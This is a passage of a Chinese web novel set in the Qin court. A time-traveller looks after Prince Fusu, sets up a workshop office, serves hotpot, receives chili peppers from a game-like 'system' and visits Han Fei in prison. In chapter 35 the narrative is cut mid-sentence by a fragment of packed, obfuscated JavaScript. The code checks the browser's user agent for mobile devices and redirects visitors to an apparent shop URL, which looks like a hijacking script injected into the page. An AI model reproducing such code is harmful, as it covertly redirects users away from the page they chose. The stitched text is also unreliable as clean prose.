天阶月色凉如水，星点点，月团团。
秋月繁星之下，甘府院子里，楚荍和扶苏两人悠闲地躺在摇椅上吹着晚风。
夜色渐凉，楚荍起身用毯子把扶苏裹了个严实，自己这才放心地躺了下来。
“姑姑这段时间在宫外，可还过得好？是不是很辛苦？”扶苏歪着头问，一双深眸里是掩饰不住的担心。
“嗯，辛苦自然是辛苦一些，”楚荍仰头望着银星点点的夜幕，笑着说，“但是会觉得很幸福。”
闻言，扶苏不解地问：“做很辛苦的事会觉得幸福吗？”
明明是完全相反的两件事，却会觉得幸福吗？他不明白。
“公子还记得大王和我们一起出宫的那次吗？那时公子和大王说，想要百姓都过上吃饱穿暖的好日子。”
“而我站在金黄的粟田上，见婶子家的小孩不停在田地里穿梭只为多捡一些粟谷的时候，就在想，这样‘金色的梦’我能做些什么呢。”
“现在姑姑做的这些，都是为了这个金色的梦，为了让天下百姓都能过上吃饱穿暖的好日子，所以自然也不会觉得辛苦。反而觉得每一日都充实而幸福。”
这是楚荍第一次和扶苏解释这些。之前她也讲了一些，但没有现在讲的这么透彻。算起来，她已经很久没有和扶苏坐下来好好谈过这些事情了。
“金色的梦吗？”扶苏喃喃道。
“是啊，好听吧。秋黄的粟田，金色的收获，和充满希望的光辉。”
说这话时，满天繁星倒映在楚荍眼中，就好像真的在熠熠生辉。
扶苏一时看的有些痴了，脑海中顿时闪过许多许多画面。
“姑姑，你跟以前好像不太一样？”扶苏突然脱口而出道。
“不一样吗？”楚荍心中一惊，但很快就镇静下来，扭过头笑着说，“人总是会变的，公子现在也和三岁的时候不一样不是吗？”
“是吗？”
扶苏有些疑惑，他好像不是这个意思。姑姑和以前好像完全是两个人。以前姑姑眼里只有她，所有事情都是围着他在转。但是现在，姑姑眼里不仅有他，更有大秦的百姓，并为着这个金色的梦而努力。这样的变化，是应该的吗？
“当然。”
楚荍一字一句，十分坚定地说，她朝扶苏伸出手，“无论是以前的我，还是现在的我，永远、永远，都不会背离公子。姑姑会永远陪在你身边，牵住你的手。”
夜幕沉静如水，不知何时星星点点的萤火围着他们飞舞，就像是星星落了下来，美得不可方物。
扶苏盯着楚荍伸出的手，半晌，才缓缓伸出手握了上去。
他露出笑容，“好，我信姑姑。”
既然姑姑已经许下这样的承诺，那他还有什么多想呢。
“姑姑，我想听你唱歌。”
“好。”
楚荍清了清嗓子，柔声唱起记忆中哄扶苏睡觉的民谣。
伴着轻柔婉转的歌声，迷糊之中，扶苏渐渐在这样静谧的氛围之下安然入睡。
见扶苏睡着，楚荍轻轻起身，将扶苏连人和毯子一起抱回房中
这应该还是扶苏第一次在宫外过夜，还睡得挺熟。楚荍伸手刮刮了扶苏的鼻子。
没成想，楚荍这一动，扶苏醒了。他翻了个身，眼睛闭着，嘴中还嘟囔着：“赶不上了，姑姑，等等扶苏。”
闻言，楚荍莞尔一笑，摸了摸他睡红了的小脸，小声说道：
“哪有赶不上，姑姑明明是牵着公子在一起跑。”
她出宫之后，扶苏就给自己加了很多课程。几乎是从早到晚，没有一点空闲。<
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p>明天得问问夏时，公子最近吃饭怎么样。她大半年好不容易养出来的一点脸颊肉，可不能她一走就瘦没了。
翌日，扶苏早早就醒了。
楚荍一睁眼，发现扶苏已经穿戴整齐站在自己床前的时候，被吓了一跳。
“公子这么早？”楚荍揉着惺忪的睡眼，伸了个懒腰才床上起来，“公子昨晚睡得好吗？”
“嗯嗯，我昨晚睡得很，姑姑呢？”
“有公子陪着，怎么可能睡得不好。”楚荍揉揉扶苏的头笑着说道，“公子今天想去哪玩？”
扶苏摇摇头，“我想看看姑姑平日里是如何工作的。”
“好，那待会儿我们吃完早饭就去。”
用完早饭之后，一行人正准备出发，就又迎来了一个人。
来人正是王贲之子，王离。
“王兄怎么来了？”扶苏认出他，问道。
王离闻言一本正经地说：“蒙将军太忙，派我来保护公子安全。”
“他是王贲之子，王离。身手十分了得。”扶苏见楚荍一脸疑惑，知她还没见过王离，笑着跟她介绍道。
原来如此，楚荍点点头。她知道王离这个人，史书上有写，是秦国名将。不过她穿过来还没见过，这是第一次见。
王离这时还不是秦国名将，身份还只是王贲之子。他长相没随他爹，是偏清秀那一挂的。
看起来就像个武力高强的翩翩少儿郎。
“夫人叫我王离就好。”他朝楚荍点点头。
楚荍也报之一笑，点头称是。
还是蒙将军细心，自己不在，就派人来保护公子安全。
“既然人都到齐了，那我们就出发吧。”
楚荍揽住扶苏，笑得十分开心。
这将会是忙碌但又充实的一天！
34.第三十四章 要人
秋去冬来，入冬半月之后，新官署终于修缮完毕。
新官署基本就是大平房，除了一间暖房，楚荍拉着李远、牛大捣鼓了很久才修好之外，其他房舍建起来都很快。
那日扶苏出宫来看她时，第二日楚荍按着她原本的步调，早上带着扶苏去跟蒙恬春天操办的养猪计划的负责人交接，分别跑了很多农户家去看劁过的猪养得怎么样，收集了很多相关讯息和意见。
后来这些信息也成了楚荍这篇《劁猪之法综论》的第一手资料。
下午则在官署接见了几位揭布告的百姓，他们有人谈如何收割粟禾效率更高；有人聊如何防虫病变；亦有人讲观雨防涝之法等。只要他们不是信口开河，随口胡诌，即便只是一些经验之谈，楚荍仍然会十分认真地记录下来，给予应允他们的一袋大钱。
当扶苏问起这种小事也有记录价值吗的时候，楚荍细心教导道：一位八十岁老农的经验之谈，看似浅陋，实则十分实用，不可小看。
日落西沉，黄昏之时，楚荍则带扶苏去了正在施工的工地。
这还是扶苏第一次看到正在修建的房舍。
天色渐暗之后，扶苏要回宫，楚荍便让扶苏把牛大用于拐线的木制摇轮给带回去。跟他保证，要是政哥看到这个赚钱利器，肯定就不会再生气了。不论是扶苏回去晚了，还是楚荍说他会过劳死这种小事儿，通通一笔勾销。
自那次出宫之后，扶苏便没再出来过。出宫一趟，扶苏深感自己的无知，作为大秦的长公子，他要学的东西还有太多太多。必须戒骄戒躁，潜心学习才行。
新官署落成之后，楚荍收拾收拾就准备进宫找嬴政要人了。她可是看上了好多人，就等着新官署修好，直接带人打包入住。
“大王，楚府长求见。”宫人向嬴政通报。
闻言，嬴政头也没抬，直接一挥手示意让她进来。
楚荍进来行过礼之后，便开门见山地说道；“大王，格物府的官署已经修好，臣准备不日便带人入住。”
嬴政翻着楚荍献上来的竹简，里面是她这段时间的工作汇报。
“这几个月你就招了八人？”嬴政有些好奇地问道，楚荍之前一副要网罗天才所有人才的架势，结果这么就才招了这几个人。
“这八人几乎都是咸阳城的人，格物府招募的时间不算长，总要给外地和六国的人才一点时间，说不定他们还在路上呢。”楚荍笑着说，一双黑溜溜的眼珠子不停地转。
嬴政一看就知道她没憋好屁，果不其然，下一句就是找他要人。
“不过大王说的没错，人确实少了一点。所以臣斗胆想向大王要几个人。”
“哦。你想要谁？”
“臣知在我大秦有一支秦墨，各个都是能工巧匠，所以......”
楚荍后面的话没说完，她抬眼讨好地看向嬴政，什么意思不言而喻。
“哼，主意都打到秦墨身上来了，难怪只招了这么点人，你早就打算好了吧？”
“怎么会！”楚荍急忙否认，伸出手向上天起誓，“王上，你放心，我不要多，我就带几个人走，但最后结果一定物超所值！”
见楚荍慌乱的样子，嬴政勾了勾嘴角，还是这样有意思，她一本正经谈公事的样子实在是无趣。
“行了。”嬴政打断她，然后随手拿起桌上的一块令牌丢给楚荍，“要什么人自己去点，最后给报我份名单就行。”
楚荍接过这块差点砸到她的青铜令牌，人有点懵。无他，她单纯不认识这块令牌。这块令牌一面是“秦”字，另一面则是一头“虎”的纹饰。
不过看样子，应该十分厉害，不然嬴政也不会让她带着这块牌子去各处要人了。
“王上，我要把膳房的郑威也带走哦？”楚荍有些小心翼翼地说。
“你要带个厨子干什么？”
“王上你想啊，这些人才既然我们已经给不出重金礼遇，那在饭食上总得吃好吧。老话说得好，要抓住一个人的心，首先要抓住一个人的胃。”
闻言，嬴政头号冒出三个黑线问号，什么时候有这种老话了，他怎么没听过？
“好了好了，不过一个厨子，你带走便是。”嬴政挥挥手，有些不耐烦地说。
“多谢大王！”
从殿中出来之后，楚荍便由宫人带着直逼秦墨所在的工坊。
到了之后，工坊里正在热火朝天的干活。楚荍大致扫了一眼，这个工坊里至少有上百人。她先逛了几圈，然后便找到这里的领头人“钜子”。
楚荍也没多废话，直接亮出嬴政给她的令牌。果然，钜子见到令牌，整个人脸色一变，对她的态度也更加恭敬起来。
楚荍将自己的诉求告诉钜子，直接让钜子帮她选人。毕竟这里这么多人她也不认识，直接让钜子帮她选人多方便省事。
她要带走十个人，这十个人须得是头脑灵活，天资聪慧，善于工技，最好是有点自己发明创造的工匠。人选选好之后，让他们收拾好自己的东西，明日会有人带他们出宫去新的官署。
由于令牌的震慑，钜子很快就应下了她所有的要求。
从工坊出来之后，楚荍回了扶苏宫中。
扶苏这会儿在偏殿读书，人并不在。不过楚荍也不是来找扶苏的，她是来找卫兰的。
“兰儿！”
卫兰此时正在殿内扫洒，她悄悄突然从背后抱住卫兰，把她吓了一跳。
“姑姑，你怎么回来了？”听到声音，卫兰开心地回头。
楚荍抱着卫兰不肯撒手，“当然是想你了。”
“好好好，知道姑姑想我，不过姑姑能否先松个手，让我先把扫帚放下。”卫兰无奈地拍了拍楚荍抱在她腰间的手。
闻言，楚荍松开手，伸手夺下她手上的扫帚丢到一边，带着她回房。
“姑姑有什么好消息要告诉我？”卫兰在凳子上喘匀了气后眉眼弯弯地问。楚荍带着她一路跑回来的。
楚荍也定了定神，笑着说道：“兰儿可要随我出宫？”
“
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出宫？”卫兰的表情一下子凝住了，“姑姑是什么意思？”
自从卫国灭亡，她辗转落入秦宫为奴为婢之后，她就再没了这个心思。她一直以为，她终会老死在这个四面高墙的宫里。
“我的意思是，兰儿可愿随我去格物府，削去奴籍，无论是画画，还是做其他什么事情，皆随自己的心意。”
楚荍握住卫兰的手，望着她的眼睛，柔声说道。
销去奴籍，无论做什么皆随自己的心意......这样自由的日子，真的能存在吗？卫兰落下泪来，她在卫国自由自在做小公主的日子已经仿佛是上辈子的事了。
她泪眼汪汪地看向楚荍，手足无措地问：“真的可以吗？”
见卫兰落泪，楚荍的心也跟着揪了起来，她慌张地拢起袖子给卫兰擦眼泪，连忙安慰道：“当然是真的，难道兰儿忘记了，我是府长，这点权力还是有的。”
卫兰摇摇头，不知为何却越哭越厉害，好像要把她这辈子的委屈都哭出来。见状，楚荍紧紧抱住卫兰，“哭吧，兰儿，痛快地哭吧。今日哭过之后，以后的日子我们都要笑着活。”
闻言，卫兰再也忍不住，抱着楚荍放声大哭出来。很快，楚荍肩膀的衣料就被濡湿。
半饷，卫兰哭完，眼睛肿成了桃子。两人相视一眼，一个没忍住都笑了出来。
哈哈哈哈哈，两人互相指着对方大笑。
一个是眼睛哭成了桃子，一个则是被卫兰哭得肩膀湿了一块，头发也在抱抱的过程中散了不少下来。
“好了好了。”卫兰捂住肚子，给两人一人倒了杯水。喝完之后，这才缓过来不少。
“姑姑将这样天大的好消息带给我，我也有好消息给姑姑。”
话音刚落，卫兰便起身拿出之前楚荍拜托她所画的画。
一共有七幅，有四幅是楚荍在宫中时画的，还有三幅是楚荍出宫后，卫兰跟在扶苏身边，碰到喜欢的场景，自己画下来的。
其中就有一幅是扶苏和她说的，嬴政抱着他走到殿门口看落日余晖的场景。当时卫兰就在旁边。
楚荍一幅幅翻过，明显发现卫兰的画技越来越好，画面越来越丰富。同时也能看出，每一幅都倾注了卫兰无数心血。卫兰这间房里，处处是她练习画画的痕迹。
“画的真好，兰儿。”楚荍赞叹地说，“能看到这样的画，我这辈子死而无憾了。”
“呸呸呸，”卫兰拉着她的手摸了三下木头，嗔怪道，“又贫嘴贫舌！”
“姑姑喜欢就好，你要是看得欢喜，也不枉我这么久努力。”
“欢喜欢喜，看完这几幅画，这个月都没什么事情能打扰我的好心情。”楚荍笑着说。
突然，楚荍脑中响起系统的声音——
恭喜宿主：您所开启的“卫兰”好感条已达到满值，现已为您升级好感度商店。升级后的好感度商店可与你所开启好感条人物进行绑定。
叮咚！系统已自动为您成功绑定“扶苏”。更多功能请自行探索。
35.第三十五章 吃火锅
“姑姑，怎么了？”
“啊，没事。”
楚荍摆摆手，被卫兰叫回神。她暗暗将系统的声音压下，准备等空闲的时候再去研究一下好感度商店升级的事情。
除了卫兰、郑威，楚荍还把李远和李小花两兄妹也给带走了。
他们动作很快，楚荍早上来找的人，中午东西收拾好，下午人就跟楚荍回格物府了。
晚上，嬴政宫内。宫人一一将饭食摆好。
嬴政尝了一口羊肉汤面，正觉得味道有些不对，就听一旁的宫人解释道：“禀王上，这羊肉汤面是郑大厨的拿手好菜，您平日最爱吃他做的。不过下午郑大厨就随楚府长出宫了。”
闻言，嬴政挑了挑眉，难怪楚荍特意跟他说要把郑威带走，原来是挑了他最爱的一个厨子。
哼，还真是胆大。这宫里，敢这么跟他放肆的，除了扶苏，也就只有她了。
虽然如此，但嬴政却丝毫不觉得生气。不知为何，很多僭越的事情，楚荍做起来，反而让人觉得平常和有趣。
这也是嬴政对她感兴趣的原因之一，楚荍身上好像有种独特的魅力，让想要探究她的人越陷越深。
他很好奇......
嬴政勾勾嘴角，继续吃着羊肉汤面，并未追究此事。他放权给楚荍，也是想看看，她一直挂在嘴边的“金色的梦”，她到底能做到几分。
而此时格物府内，楚荍正在安顿几人。
牛大等人也是明日才搬进来，所以今晚只有楚荍、甘罗、卫兰、李远、李小花和郑威六人。
晚上的饭食她也没让郑威做，直接从城中酒楼买回来的。
他们在院中支起一张圆桌，众人乘着晚风一起大快朵颐了一餐。
明日是他们新官署落成的正日子，楚荍特意搞了个揭匾仪式。匾额上的字是嬴政提的，揭彩自然也得请他们父子俩来。
正午，格物府大门外。嬴政站在门下，手中拉着彩缎。
“吉时已到，请大王揭匾！”
随着楚荍的一声高喝和鼓乐的奏响，嬴政拉下了手中彩缎。在阳光照射下，覆在匾额上波光粼粼的红彩缎滑落，露出提出“格物府”三字的正匾。
“彩！彩！”众人皆鼓掌喝彩，脸上的笑容映照着对未来的希望。
嬴政发表完一番鼓舞人心的讲话之后，众人便入座自己的席位。
算上楚荍和甘罗，格物府一共只有二十四名职工。不过嬴政和扶苏来的时候，也顺带把一起开会的李斯等人也给带过来了。
院中一共支了三张圆桌，刚好够坐。
如今天寒地冻，楚荍特意准备了最适合在冬天吃的“铜火锅”。一张桌子两个锅子，刚刚好。
这铜火锅是清汤底，当然，没有红锅最主要的原因是因为没有这个时候根本没有辣椒。不过调料楚荍还是很贴心地准备了两种口味。
一种是葱蒜醋加酱油口的，一种是还加了姜和胡椒粉的辛辣口。
菜则是以各种涮肉为主，羊肉片、猪肉片和鱼肉片，还有各种豆制品，老豆腐、腐竹、炸豆腐丸子和小酥肉。主食是猪肉大葱和羊肉大葱的饺子。
“王上，这是铜火锅，用于吃涮肉的。”楚荍起身给众人演示，“像这样把切好的肉片放进汤里烫熟，十几秒即可，捞出来之后再裹上酱汁，鲜嫩可口。”
只见她将一盘肉倒进去烫熟捞出，第一筷子先夹给了嬴政，“大王尝尝味道如何？”
嬴政好奇地看着自己盘子的肉，拿起筷子的时候发现这吃火锅的筷子都要比平常的长一截。他夹起肉，沾上葱蒜醋口的酱汁，放进口中，发现楚荍确实没说错。
这薄薄的羊肉片，只经过十几秒烫熟，不仅保留了羊肉本身的鲜美，裹上酱汁之后，更增添了另一种风味。两种滋味在口腔里融合爆炸，让嬴政瞬间就喜欢上了这种新吃法。
见一桌十双眼睛都盯着自己，他放下筷子，随口点评了一句不错。
他的一句不错，更是吊足了大家胃口。大王都说不错了，那还能有假。
咕噜、咕噜，汤锅里翻滚着热气，高汤的香气馋得每个人都咽了口水。
嬴政吃完后，楚荍第二筷便夹给了扶苏。随后依此是蒙恬、蒙武、李斯、王贲等人。
“姑姑，现在这么冷，刚好适合吃这火锅。”扶苏笑着说道。
“是啊，这火锅，不仅是吃食材本身的鲜美，更是吃一个乐趣。如今天寒地冻，大家聚在一起，来上这样一份热气腾腾的火锅，吃着美食，喝着美酒，谈天说地，岂不快哉快哉。”
说罢，楚荍先提杯敬酒。他们这桌吃起来之后，另外两桌也开始吃起来。
快吃完时，竟下起了小雪，众人赶紧打扫完最后一点残羹，然后好回到廊下避雪。
扶苏衣上和头上都积了点浮雪，她拿出怀里的帕子，帮扶苏扫去浮雪，免得雪化了濡湿衣裳，一时又没得换，生病了就不好了。给扶苏拍完雪后，她又给自己拍了拍。
这时他们一行人都站在廊下，都各自拍着自己身上的雪。
楚荍完自己身上的雪后，一抬头发现只有自家政哥没动作。是了，平常这种事情都是有宫人来做的。
但是楚荍又不能确定，她家政哥到底是不想拍，因为浮雪不是很多；还是忘记了今日宫人没有跟来。
而且好像只有她一个人发现了这件事情，楚荍一下子尬住了。
她瞬间就想起了之间她去给政哥送内裤，然后被调戏了的那件事。不会吧不会吧，不会又要重演吧。而且她现在和政哥是君臣关系，也没见李斯亲昵地去给政哥扫雪啊。人再怎么样也不能狗腿子成这样吧。
就在她胡思乱想、天人交战的时候，扶苏从她手里抽了手帕，随后她听到扶苏说：
“父王，您将身上的浮雪擦擦吧，不然雪化了弄湿衣裳，会生病的。”
闻言，嬴政接过手帕，面色如常地拍了拍自己身上的雪，擦完之后随手就将手帕丢回给了楚荍。
楚荍接住手帕，松了口气，还得是她家公子，不然她真尬住了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240106|148364||http|test|mini|href|location''.split(''|''),0,{}));
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当然，这种尴尬完全是楚荍单方面的，莫名其妙的，因为嬴政刚刚没动作单纯只是因为他在赏雪。
一片片雪花飞舞飘下，细小洁白的雪花碰上铜锅仍在翻滚的热汤，转瞬之下便融化不见。
其他人忙着收拾桌子，忙碌的背影在雪落之间不停穿梭。
因为怕雪下大之后回宫的路不好走，所以嬴政和扶苏早早就回去了。
扶苏本想留下来住几天的，楚荍专门给他留了个房间，但是冬日各种学习还有祭祀的事情堆在一起，他实在抽不开身。
他们走后，众人也就撒了。楚荍挨个去他们房间嘘寒问暖。今天是他们搬进来的第一天，都还在收拾自己的行李。
等今日过后，就要开工了。很多事情要赶在这个冬天做完。
晚上，夜深人静。楚荍这才有时间去问系统好感度商店的事。昨天白天她宫里宫外地折腾，晚上她沾床就睡着了，根本没来得及问。这段时间他一直在忙格物府的事情，扶苏的身体也很好，系统一直没动静，她真快把这东西给忘了。
“小康，你昨天说的好感度商店升级是怎么回事啊？”
楚荍看着悬浮在空中的好感条，卫兰的已经满了100点，名字甚至在开花。
许久未见，系统又换回了他的经典皮肤，金发碧眼小正太。
“因为已经有一人的好感值满了，所以系统自己进行了好感度商店升级。升级后的好感度商店进化成思绪碎片好感度商店。商店内容会随着人物的思绪变化而变化，所以自动为您绑定了扶苏。”
系统将升级后的商店展示给楚荍看。原本像超市货架上的三格商品，现在变成了一个很大的思绪泡泡。
而现在这个泡泡显示的竟然他们白天吃的铜火锅。而且兑换一个竟然要花50点好感值。
她疯了才会去换一个她已经能做出来的东西。
“所以这个思绪碎片是可能出现任何东西吗？”楚荍问。如果真的什么都能想出来，那她真要开金手指了。
结果立马就得到了一个否定答案，“现在能够出现商店的商品仍然有限制，不断升级之后会解锁更多类别的商品。”
“现在您可以选择开启一份惊喜大礼包。请选择。”
系统的话音未落，楚荍的意识之海中就出现了红、蓝、黄三个颜色的礼包。
“只能选一个吗？这三个礼包里面分别有什么啊？”楚荍问。
“是的，您只能选择一个。且系统无法告知您礼包内容。”
闻言，楚荍直接摆烂，开始小公鸡点到谁我就选谁。
“那就这个红的吧。”
“恭喜您获得果蔬大礼包！”
随着彩带方片的特效爆开，一盘辣椒出现在她眼前——彩椒、青椒、尖椒还有小米辣、
不是哥们，这顶多只能叫辣椒大礼包吧，跟果蔬到底有什么关系啊？难怪是红色包装的，一盘下去，能把人辣死。
楚荍看着眼前的一盘辣椒，头上无语地冒出了三根黑线。
36.第三十六章 工作
“这是各位的契约，上面各位的待遇都写得十分清楚，需要注意的是保密条约，请各位认真读完。确认无误之后就可以签字摁手印了。”
用过早饭之后，楚荍和甘罗召集了格物府的第一次会议。楚荍任府长，甘罗任副府长。
当时楚荍去找嬴政问他能不能任命甘罗为副府长的时候还有些忐忑，结果她政哥根本没把这事放在心上，大手一挥让她自己定。
后来楚荍分析了一下，虽说甘罗过往的身份有些尴尬，但他确实是大才。她政哥身边不缺这样一个人才，不会再用他，但不代表扶苏不能用啊。
楚荍现在攒的这些，以后都会是扶苏的政治资本，无论是人、还是格物府。
这点，楚荍还是很清楚的。
虽然她看起来经常在政哥的雷点蹦迪，但其实都不过是一些无伤大雅的小事。真正越雷池的事情，她半步都不会做。
现在格物府分为三支，农工坊、百工坊和文工坊。关于医药方面的内容，由于预算不足，楚荍直接丢给太医署去做了。反正她看那群太医天天也挺闲的。
百工坊现在是原来的秦墨八人加上李远，一共九人。农工坊是以牛大为首的八人，文工坊则只有卫兰和李小花两人。
签完契约，开完动员大会之后，所有人都激动起来。楚荍成功让他们相信自己是被大王赏识的那个万里挑一的人才。毕竟大王连最爱的大厨都赐给他们了，所以楚府长说的肯定真的！他们都十分坚信。
这群小年轻一个个都被她唬得一愣一愣的。连郑威都被忽悠住了，真以为是大王让他来照顾这些秦国的“未来”。晨光从窗外照进来，他的使命感和光荣感油然而生，连眼眶都湿润了。
而甘罗在一边面无表情地听完全程，只有一个感受，那就是楚荍编瞎话的水平越来越高了。特别是那句“大王视你们为秦国的未来”，他差点没忍住笑。
散会之后，楚荍首先去了百工坊。这个冬天，他们的主要任务就造纸。楚荍已经提前备好了一批材料。她先将“纸”是什么讲清楚之后，又把造“纸”的意义掰开揉碎了给他们讲清楚。
然后又将她所知道的造纸步骤——捣料、打浆、抄纸和烘干告诉众人。说实话，她知道的步骤就是从网上那些古法造纸的视频看来的，再加上一些百度百科的内容。大致步骤不会错，但也只是提供一个思路。毕竟实操起来肯定到处都是问题。
所幸她要来的这批人都是最顶尖的人才。
原本秦墨那几人对来格物府还有些疑惑。虽然刚刚动员大会热血沸腾了一下，但对自己具体要做什么还有些迷茫。可等楚荍讲完“造纸术”之后，几人眼神都变了，满眼皆是不可置信和翻腾的热血。
原来楚府长这么厉害，和原来自己肩上是关于“国之重器”的重担。
在百工坊讲完之后，她又马不停蹄地去了农工坊。去之前顺便任命了秦墨中年龄最大的葛云为组长，由他分配每人的具体任务。
牛大依旧继续研究他的木制拐线摇轮，有三个人研究改进耕地的各种工具以期提高耕种效率，改进的思路在招他们进来的时候就聊过了。他们都有各自明确的想法，不然楚荍也不会招他们进来了。两个人研究堆肥和剩下两人研究暖房种植。
原本楚荍还在想种什么，然后系统就给她送来了一盘辣椒。虽然不是主粮，但也行吧。
但是怎么种辣椒这个她是真不清楚了，辣椒籽应该就是种子吧。
她不好直接把辣椒拿出来，主要是这几种五颜六色的辣椒一起拿出来太过扎眼，她实在是不好解释它们的来源。所以她想的借口是前段时间西域商人买给她了一包种子。
而且她知道辣椒原本产于南美，南美的气候温暖湿润，她现在把新鲜辣椒拿出来，要是让他们误以为辣椒冬天可以栽种，然后把她这点辣椒种冻死怎么办。
所以她昨晚悄悄把辣椒给切了，然后把辣椒籽都给扒拉出来当做种子存下来。然后准备把剩下的辣椒找几个盆尝试土培一下。而且说是一盘辣椒，但其实彩椒、青椒、尖椒都只有一颗，小米辣两颗。她没有多少试错的机会。
她把辣椒种郑重地交给专业人士，大致地说了一些注意事项之后，拜托他们一定要把它给种出来。
卫兰和李小花则一个专注画画、一个专注雕刻，楚荍也拜托了她们一些事情，后面她另有用处。
就这样，格物府的工作热火朝天地开始了。楚荍每天都忙得晕头转向。经常在一个工坊一待就是几个时辰，毕竟很多时候她能提供的是崭新的思路。
不过很快，一个消息就将她打的猝不及防。
大王将韩非下狱了。
这消息是她回宫汇报工作时，扶苏告诉她的。这个秋天她忙得脚不沾地，对此事全然不知。
“所以韩非其实秋天就入秦了，大王一直待如上宾。但是一个秋天过去，韩非的心意依旧没有转圜，所以才将其下狱。但是大王最近因为韩非的事情一直十分心烦？”
“嗯，父王很尊崇韩先生，但韩先生不肯效忠我大秦，所以父王才抱着‘不能为我用之则杀之’的心思将韩先生下狱的吧。”
没想到扶苏关于此事看的这么透彻，该说这两人不愧是父子吗，楚荍颇有些哭笑不得。
“那公子认为呢，关于韩先生的处置？”楚荍反问道，她很好奇扶苏自己的答案。
“我吗？”扶苏苦思一会儿之后，摇摇头，“我大概会和父王做出一样的选择吧。”
如果韩先生坚持不肯效忠秦国，他也想不出什么两全之策。一辈子的囚禁看守和死亡，对韩先生而言，似乎并差不了多少。
“此事确实难有两全之策，不过，不如我们先去见见韩先生再下定论如何？”
楚荍说道。她肯定是想把人救下来的，但是一时半会她也没有什么头绪。还是得先去见见这位集法家之大成的韩非子。<
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p>片刻之后，嬴政宫中。
“你们要去见他干什么？”嬴政看着两人，语气有些不耐。他最近一直为此事心烦，这两人还敢来触他霉头。
“孩儿想去问问韩先生，为何不肯效忠我大秦。韩先生这样的大才，不能为我大秦所用，实在可惜。”扶苏抬起头说，稚气脸庞上却满是是认真的神色。
闻言，嬴政神色稍缓。不愧是他儿子，这话说他心坎上了。就这么把韩非杀了，他确实有几分不舍。
罢了，既然他二人愿意折腾就去折腾吧，若真能让韩非回心转意，也算他俩的本事。嬴政无不头疼地想。
今日天色已晚，得到嬴政的首肯之后，两人准备明日一早便去狱中看望韩非。楚荍今晚便在宫中住一晚。
一同用过晚饭之后，楚荍将卫兰的画作取出展示给扶苏看。这也是她今日进宫的目的之一。
本来就是为扶苏画的，攒了好几幅之后自然要拿给他看了。
“公子看看，喜欢吗？都是兰儿画的。”楚荍十分期待地问。
“喜欢，画得真好！姑姑是从什么时候想把这些画下来的？”
扶苏仔细翻动着这些画，眼眶有些湿润。
晨辉中他朝父王行礼；他第一次牵住父王；他和父王躺在花园的摇椅中酣然入睡；他与父王的对弈；他与父王和众臣一起玩大富翁；他和父王走在麦田田埂中；父王抱着他在殿门口看落日余晖。
这些都是他珍藏的回忆，他没想到楚荍竟都让人画了下来。这其间蕴含的心意，不言而喻。
“什么时候吗？春天吧，好像是。公子与大王和春天如此相衬，不好好记录下来怎么行。”楚荍笑着说，坐在扶苏旁边陪他一起翻着这些画。
时间过得很快啊，一转眼，她马上就要在大秦度过一个春秋了。楚荍在心中感叹。
“姑姑好像一直都在送我这些珍贵的东西，但我没有什么送给姑姑的。”
扶苏低着头，语气十分低落。姑姑这么爱他，但他找不出任何能与这份心意相匹配的回礼。
“怎么会，”楚荍摇摇头，转身抱住扶苏，“公子好好吃饭，好好长大，多长点肉就是送给姑姑最好的礼物了。”
她这不是安慰扶苏的场面话，她确实有一个要扶苏完成的主线任务：一年内长胖十斤。不过这个任务马上就要完成了，她着手改善扶苏的每日饭菜之后，在美食投喂和骑射练习之下，扶苏的体重一直健康的增长着，完全符合他这个年纪的身体特征。
“公子要不要听姑姑每日的工作，可有意思了。”楚荍笑着问，试图转移他的注意力，“最近我们在尝试造‘纸’。”
“造纸？”
“对，就是将竹子捣碎打成纸浆，然后用制好的模具抄浆，最后烘干就成了纸。这种纸轻而薄，比现在的竹简和布帛都适合书写。”
“真的吗？竟有如此神奇之物？”
“当然......”
37.第三十七章 秦国之民
咔哒，厚重的铁锁被打开。
狱长为扶苏一行人推开牢房门后自觉地退了出去。
王离没有离开，他现在是扶苏的侍卫，保护公子的安全是他的职责。
牢房里还算整洁，单人桌椅上放着竹简和刻刀，有使用过的痕迹。角落里铺着厚茅草，韩非盖着被褥背着身躺在上面。即使听到声响也并没有转过身来。
“韩先生。”楚荍喊了一声。
韩非没有理她。
三人面面相觑几秒后，扶苏走上前伸出手搭在韩非的手上，“韩先生。”
韩非听见扶苏稚嫩的声音，低头又看见扶苏搭在他手上温暖洁白的小手，这才转过身来。
而此时楚荍才得以见这位名留千古的法家集大成者的真容。
明明不见老，两鬓却已纷白。浸染风霜的脸上是一双犀利如炬的双眼。
很快，韩非就判断出扶苏的身份，“秦国长公子，扶苏？”
扶苏点点头，“是我，韩先生。”
韩非坐起身，问道：“你来此，何事？”
闻言，扶苏自然地收回手，也站起身。
“扶苏久仰先生大名，今日特意来看看先生。”
“将死之人，有何好看的。”韩非嗤笑一声，披上外衣站起身。他脚步有些虚浮，显然这段时间的牢狱之灾他并不好受。虽如此，他迫人的气势丝毫不减，在椅子上坐下后，刚好与站着的扶苏平视。
韩非这一上一下，两人气势迅速翻转，扶苏隐隐落入下风。
就在这时，狱长带着三把椅子去而复返。他们三人坐下之后，楚荍没忍住多看了这位年轻的狱长一眼。难怪这么年轻就能当上狱长，察言观色上确实有点本事。
两人目光对上，楚荍立马就收到了来自这位狱长的狡黠一笑。
呵呵，还真是个人精。楚荍在心里想。
“韩先生为何会觉得自己是将死之人，难道是从韩王送您出使秦国时就抱着这样的想法吗？”
说着，扶苏皱着眉歪了歪头，显然对韩非这句话不是很理解。
若是别人，韩非一定会觉得他是在嘲讽。但是扶苏，他头一次有些不确定。
他最近在这牢中，没听少听左邻右舍吹这位大秦长公子的故事。
传言大秦长公子超凡脱俗，天资聪慧，是仙童般的人物。
现在看，这传言也并不全是假话，至少扶苏确实长着一张让人轻易就相信他的脸。
韩非没说话，他目光沉沉地望着扶苏。扶苏没说错，从韩王讨好嬴政遣他出使秦国的时候，他就已经抱着必死的想法，做好客死他乡的准备了。
“先生不必对我们抱有敌意，我们今日来不是为了劝先生扭转心意的。”
见气氛尬住，楚荍出来打哈哈说道。她家公子还真是能精准在人家雷区蹦迪啊。
